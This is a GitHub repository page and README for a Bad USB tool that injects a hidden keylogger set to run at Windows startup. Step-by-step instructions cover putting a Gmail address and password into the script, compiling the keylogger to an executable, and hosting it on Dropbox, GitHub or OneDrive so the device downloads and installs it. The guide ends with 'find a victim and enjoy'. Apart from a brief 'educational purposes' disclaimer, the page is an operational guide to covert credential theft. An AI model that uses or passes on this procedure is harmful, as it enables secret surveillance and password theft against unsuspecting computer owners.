search

tuconnaisyouknow / BadUSB_keyloggerInjector

This script allows you to inject an invisible keylogger thanks to a Bad USB.
MIT License
96 stars 61 forks source link
arduino bad-usb badusb duckyscript grabber keylogger malduino malduinoscripts payload powershell rubber rubber-ducky rubberducky script startup startup-script stealer usb-hid

readme

BadUSB_passStealer

Warning ⚠️

Everything in this repository is strictly for educational purposes. Notice I am not responsible for stolen data. You are responsible for your actions using developed script for BadUSB.

About ℹ️

This script allows you to inject an invsible keylogger which run on Windows startup. To do this i used this keylogger script.

NB n°1 (for arduino BadUSB)

Sometimes, you will see something like this : 

Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();

This is only to write these characters : "@", "\". But it depends on the computer's layout, so adapt these characters thanks to this site and the sequence you actually use to wirte these characters with your keyboard. (or switch the keyboard layout to French).

US Layout

For US layout you only have to replace by this for "\" :

Keyboard.press(92);
Keyboard.releaseAll();

And by this for "@" :

Keyboard.press(64);
Keyboard.releaseAll();

NB n°2

You can customize the delay according to the speed in which you plug the BadUSB.

NB n°3

When you plug the BadUSB in a PC you have to wait for the caps lock to flash to unplug it.

Getting Started ✔️

Requirments

  1. Have a BadUSB.

  2. Install Arduino software here (if you have a BadUSB based on Arduino);

  3. Have a Gmail account and enable less secure app here;

  4. Have latest python version installed on your PC;

  5. Have latest pip version installed on your PC;

  6. Have a victim with Windows OS installed in his PC;

    Install latest version of Python and pip

    Python

  7. Download latest python version (installer 64-bit or 32-bit) here;

  8. Now run the installer

  9. Select "Add python.exe to PATH" checkbox and then click on "install now";

    Pip

  10. Launch a powershell prompt and run the following command to download get-pip.py :

    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

  11. Then run the following command to install pip :

    python get-pip.py

    Install

  12. Download this repository;

Linux :

git clone https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector
cd BadUSB_keyloggerInjector

Windows : Click on green button on right top of main page. Then click on "Download Zip" and extract zip file.

  1. Replace your mail and password here at line 8, 9;

  2. Convert keylogger.py in exe file with this command :

    pip install pyinstaller
pyinstaller --onefile -w keylogger.py

  3. Upload your files to download them;

  4. Replace link here with keylogger.exe link at line 93;

  5. Put the .ino or .txt file in your BadUSB;

  6. Find a victim and enjoy !

    Requirments for victim PC

    • Turn off caps lock.
    • Switch the keyboard layout to French (or adapt the code according to your layout).

      How to set a link for wget the script ⬇️

      Remember to upload first keylogger.exe file to add its link into the startSrcipt.ps1 file.

      Dropbox

  7. Create a dropbox account here;

  8. Upload your file;

  9. Copy the link of the file and change ?dl=0 by ?dl=1;

  10. You will get a link like this : https://dropbox.com/s/link/YOURFILE?dl=1;

  11. Now put these link in the .ino or .txt file;

    Github

  12. Create a Github account here;

  13. Create a public repository;

  14. Upload your file;

  15. Go to your file page and click on RAW button;

  16. Copy the RAW page link and put it in the .ino or .txt file;

    One Drive

  17. Create a One Drive account here;

  18. Upload your file;

  19. Follow this tutorial;

  20. Put the link you got in the .ino or .txt file;